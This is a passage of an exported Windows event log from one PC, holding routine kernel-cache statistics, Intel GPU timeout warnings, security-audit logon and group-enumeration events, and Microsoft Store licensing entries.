[256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [3, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [84, 842, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [264, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-007e-000000000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-300432000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 17970284\n                       Maximum Dirty Pages: 1448\n                       Total Dirty Page Threshold: 262370034\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 23884\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 240804\n                       Maximum Pages Queued to Disk: 978\n                       Pages Queued to Disk Samples: 3612\n                       Total Metadata Pages Queued to Disk: 240804\n                       Maximum Metadata Pages Queued to Disk: 978\n                       Metadata Pages Queued to Disk Samples: 3612\n                       Read Total Bytes: 2621440\n                       Read Paged-In Total Bytes: 1048576\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 60\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 8\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 2\n                       Synchronous Read IO Maximum Latency (us): 785\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 2\n                       Asynchronous Read IO Maximum Latency (us): 10072\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-300432000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [7, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [110, 785, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [26, 0, 0, 10072, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-300432000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t103\t\"Volume Periodic Cache Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n                       Period Duration (microseconds): 916208946\n                       Total Dirty Pages: 65\n                       Maximum Dirty Pages: 8\n                       Total Dirty Page Threshold: 7844465\n                       Top Dirty Page Threshold: 770987\n                       Bottom Dirty Page Threshold: 770987\n                       Dirty Page Samples: 18\n                       Total Lazy Writer Calls: 0\n                       Total Lazy Writer Latency: 0\n                       Total Lazy Writer Pages Flushed: 0\n                       Lazy Writer Average Pages Per Second: 0\n                       Total Pages Queued to Disk: 19\n                       Maximum Pages Queued to Disk: 7\n                       Pages Queued to Disk Samples: 4\n                       Total Metadata Pages Queued to Disk: 19\n                       Maximum Metadata Pages Queued to Disk: 7\n                       Metadata Pages Queued to Disk Samples: 4\n                       Read Total Bytes: 524288\n                       Read Paged-In Total Bytes: 262144\n                       Read-Ahead Total Bytes: 0\n                       Cache Hit Ratio (%): 50\n                       Total Writes: 0\n                       Total Hard-Throttle Writes: 0\n                       Total Soft-Throttle Writes: 0\n                       Total Synchronous Read IO Count: 1\n                       Total Synchronous Non-Blocking Read IO Count: 0\n                       Total Failed Synchronous Non-Blocking Read IO Count: 1\n                       Synchronous Read IO Maximum Latency (us): 13931\n                       Synchronous Read IO Non-Blocking Maximum Latency (us): 0\n                       Total Synchronous Write IO Count: 0\n                       Total Synchronous Non-Blocking Write IO Count: 0\n                       Total Failed Synchronous Non-Blocking Write IO Count: 0\n                       Synchronous Write IO Maximum Latency (us): 0\n                       Synchronous Write IO Non-Blockinig Maximum Latency (us): 0\n                       Total Asynchronous Read IO Count: 1\n                       Asynchronous Read IO Maximum Latency (us): 24874\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t104\t\"Volume Periodic Cache Read Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Read IO Counts: [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read IO Total Latencies (us): [0, 0, 0, 13931, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Read Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Counts: [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0]\n                       Asynchronous Read IO Total Latencies (us): [0, 0, 0, 0, 24874, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:03.843\t105\t\"Volume Periodic Cache Write Latency Information:\n\n                       Device GUID: {5285d7ae-0000-0000-0000-a058d5000000}\n                       Period Duration (microseconds): 916208946\n\n                       Latency Bucket Values:  [256us, 1ms, 4ms, 16ms, 64ms, 128ms, 256ms, 2000ms, 6000ms, 10000ms, 20000ms, 20000+ms]\n\n                       Synchronous Write IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Counts: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n                       Synchronous Write Non-Blocking IO Total Latencies (us): [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\"\tInformation\tMicrosoft-Windows-Kernel-Cache/Operational\tMicrosoft-Windows-Kernel-Cache\n05.09.2026 08:44:04.979\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:05.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:05.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.126\t2\tSecure Trustlet Id 6 and Pid 9244 stopped with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:44:06.199\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.422\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:06.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:07.758\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:08.358\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.358\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.899\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.899\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.900\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.901\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.901\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.901\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.902\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.903\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-503\n\tAccount Name:\t\tDefaultAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.903\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-504\n\tAccount Name:\t\tWDAGUtilityAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.903\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1009\n\tAccount Name:\t\tWsiAccount\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.904\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-500\n\tAccount Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.904\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-501\n\tAccount Name:\t\t\u0413\u043e\u0441\u0442\u044c\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x48b0\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:44:08.911\t62443\tAppDefault Info: Querying default browser info\tInformation\tMicrosoft-Windows-Shell-Core/AppDefaults\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:44:09.165\t1002\tError 0x80070002 occurred while verifying known folder {c4900540-2379-4c75-844b-64e6faf8716b} with path 'C:\\Users\\Public\\Pictures\\Sample Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.166\t1002\tError 0x80070002 occurred while verifying known folder {2a00375e-224c-49de-b8d1-440df7ef3ddc} with path 'C:\\WINDOWS\\resources\\0409'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.169\t1002\tError 0x80070002 occurred while verifying known folder {b250c668-f57d-4ee1-a63c-290ee7d1aa1f} with path 'C:\\Users\\Public\\Music\\Sample Music'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.174\t1002\tError 0x80070002 occurred while verifying known folder {859ead94-2e85-48ad-a71a-0969cb56a6cd} with path 'C:\\Users\\Public\\Videos\\Sample Videos'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.177\t1002\tError 0x80070002 occurred while verifying known folder {a440879f-87a0-4f7d-b700-0207b966194a} with path 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.199\t1002\tError 0x80070002 occurred while verifying known folder {c4900540-2379-4c75-844b-64e6faf8716b} with path 'C:\\Users\\Public\\Pictures\\Sample Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.200\t1002\tError 0x80070002 occurred while verifying known folder {2a00375e-224c-49de-b8d1-440df7ef3ddc} with path 'C:\\WINDOWS\\resources\\0409'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.202\t1002\tError 0x80070002 occurred while verifying known folder {b250c668-f57d-4ee1-a63c-290ee7d1aa1f} with path 'C:\\Users\\Public\\Music\\Sample Music'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.206\t1002\tError 0x80070002 occurred while verifying known folder {859ead94-2e85-48ad-a71a-0969cb56a6cd} with path 'C:\\Users\\Public\\Videos\\Sample Videos'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.207\t1002\tError 0x80070002 occurred while verifying known folder {a440879f-87a0-4f7d-b700-0207b966194a} with path 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:44:09.871\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:10.099\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:10.652\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:44:10.877\t8001\t\"Invoking license manager because license/lease polling time up: PFN A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (361)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"ServicePackageRundownNotificationImpl PsmKey:A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6+App, sid:S-1-5-21-3712849175-2219398513-4278588552-1006\nFunction: ServicePackageRundownNotificationImpl\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\service.cpp (2587)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8011\t0x21f831d3840: 18884: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:Unregistered => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"Lease dropped\nFunction: KeyMachine::DoDropLease\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (279)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8012\t0x21f831d3840: 18884: Key:Valid Change: Key:Invalid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"Set results for lease = 0x0, policy = 0, operation = 0, Leasebehavior = 0\nFunction: KeyMachine::DoSetResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (1520)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8011\t0x21f8312a620: 15996: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:RemoveKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8011\t0x21f8312a620: 15996: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:Unregistered => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8012\t0x21f8312a620: 15996: Lease:Valid Change: Lease:Invalid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:44:10.878\t8001\t\"Requesting lease document removal for reason 